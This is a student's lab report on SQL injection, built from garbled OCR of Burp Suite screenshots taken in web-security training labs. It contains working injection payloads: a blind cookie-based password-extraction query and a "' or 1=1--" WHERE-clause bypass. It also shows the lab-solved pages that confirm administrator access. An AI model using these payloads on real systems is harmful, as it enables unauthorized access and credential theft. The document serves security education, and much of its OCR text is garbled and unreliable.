Lab 3 - SQL Injection with Burp Suite
Alexander Rodriguez
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(@ Choose an attack type

Attack type: | Sniper

(@ Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | httpsy//0af800d70311b0d0818b0cde002d0066 web-security-academy.net

1 GET / HTTP/2
> Host: DafB00A70311h0d0SLEROCA=002AD0EE . yeb-secur ity-acadeny. net

5 Cookie: Trackingld=8ToQLMsR2CANBKFE' AND (SELECT SUBSTRING (password,20,1) FROM users WHERE usernam
.

B

administrator')='§as; session:

PHCAbWASEVPiyVOIBVBSETRGAUPYEUA;

Sec-Ch-Ua: "Not;A=Brand”;v="24", "Chromium’;v="128"
20

¢ Sec-Ch-Ua-Platform: "Windows"

7 Accept-Language: en-US,en;q

= Upgrade-Insecure-Requests: 1

© User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) AppleWsbKit/537.3¢ (KHTHL, like Gecko) Chrome/128.0.£613.120 Safari/s37.36

10 Aecept: text/html,application/xhtml+xnl,application/sml;q=0.9, inage/avif, image/webp, image/apng, */*;q=0.8, application/signed-sxchangs; v=h3; q=0.7

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

15 Sec-Fetch-User: 71

s Sec-Fetch-Dest: document

15 Referer: hetps://0afS0DA70311b0d0S1EROCA=002d00E . ueh-secur ity-acadeny. net/

16 hecept-Encoding: gzip, deflate, br

17 Priority: u=p, i

Sec-Ch-Ua-Hobil:

s

@ &€ [>] [ searcn

1 payload position

Eventlog (1)*  All issues
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Congratulations, you solved the lal

Home | Welcome backl | My account | Log out

My Account

Your username s: administrator

Email

Update em:




image1.png
v B sQlimectonveinerabityin¥i X _ & x

€ > C [ h2=//0a50002603971515b2ae7b97007c00f5. web-security-academy.net/filter?category=Pets * O & 2 i

WebSecurlty SQL injection vulnerability in WHERE clause allowing retrieval of

hidden data
Academy[%

Back to lab description

atulations, you solved the lab! Share your skills|

Home

WE LIKE TO

SHOP HH

Pets' or 1=1--

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2024.8.2 - Temporary Project - a X





image2.png
Burp Project Intruder Repeater View Help Burp Suite Community Edition v2024.8.2 - Temporary Project - o x
Dashboard ~ Target  Prox,  Intruder  Repeater  Collaborator  Sequencer  Decoder ~ Comparer  Logger  Organizer  Extensions  Learn £} settings
Intercept  HTTP history ~ WebSockets history ~ Match and replace {3 proxy settings

> Forwardall | v Drop ) Request to hitps://0a50002603971515b2a¢7bg7007c00f5.web-security-academy.net443 (34246129621 & | @ openbrowser | (D) i

Time Type Direction Host Method URL Status code Length
[14:22:16 3 Oct 2024 HTTP > Request 0a50002¢03971515b2ae7b97007c00f5.web-security-acad... GET https://0a5000203971515b2ae7ba7007c00f5.web-security-academy.net/filter?category=Pets.

Request Inspector 2
Pretty  Raw  Hex _
T GET /filter?category=Pets+274200r+201=1-~ HTTP/Z Request attributes 2 v |2
- Host: 0aS0D02203871515b2as7bg7007c0DES . veh-s=cur ity-acadsmy. net H
5 Cookie: session=vaKnlk2GUVeSrmEKOOE3SGSxFoshlb

I Sec-Ch-Ua: Miot:A-Brand’;ver3ir, "Chiomium;verizen s B -
5 Sec-Ch-lUaMobile: 20

© Sec-Ch-Ua-Platform: "Windows" Request body parameters o v

7 Accept-Language: en-US,en;q=0.9 ®
o Upgrade- Insecure-Requests: 1

o User-dgent: Mozilla/s.0 (Vindows NT 10.0; WinGd; xé4) hppleVebRit/S37.3¢ (KETHL, like Gecko) Chrome/123.0.€613.130 Safari/S37.3¢ Request cookies D ov|2
1o Aceept: text/html,application/xhtml+xml, application/sml;q=0.9, image/avif, inage/ wehp, image/apng, */ *;q=0.8, applicat ion/signed-cxchangs;v=h3; g

Request headers B - 2

|1 Sec-Fetch-Site: same-origin
> Sec-Fetch-Mode: navigate

3 Sec-Fetch-User: 21

s Sec-Fetch-Dest: document

|5 Referer: htcps://0asD0D2=03971515b2a=7hg7007cO0LS . web-secur ity-acadsmy . net/
¢ Accept-Encoding: gzip, deflate, br

7 Priority: us0, i
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